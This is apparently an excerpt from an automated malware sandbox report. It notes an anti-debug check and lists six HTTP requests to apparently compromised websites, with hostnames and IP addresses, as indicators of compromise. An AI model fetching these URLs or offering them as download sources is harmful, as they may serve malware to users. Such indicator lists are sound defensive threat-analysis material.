Attempts to connect to a dead IP:Port (1 unique times)

- IP: 192.168.56.1:80

SetUnhandledExceptionFilter detected (possible anti-debug)

6 HTTP Request(s) detected

<http://qstride.com/img/0/>

Hostname: qstride.com

IP Address: 0.0.0.0

Port: 80

Count: 1

<http://tskgear.com/wp-content/uploads/2015/06/pz/>

Hostname: tskgear.com

IP Address: 103.197.57.20

Port: 80

Count: 1

<http://vermasiyaahi.com/cgi-bin/8/>

Hostname: vermasiyaahi.com

IP Address: 103.133.215.103

Port: 80

Count: 1

<http://www.weblabor.com.br/avisos/QIU9/>



Hostname: www.weblabor.com.br
IP Address: 191.6.196.109
Port: 80
Count: 1

http://viniusrangel.com/experimental/VihMh1/
Hostname: viniusrangel.com
IP Address: 191.6.210.76
Port: 80
Count: 1

http://westvac.com/wp-content/GOYx/
Hostname: westvac.com
IP Address: 51.222.42.56
Port: 80
Count: 1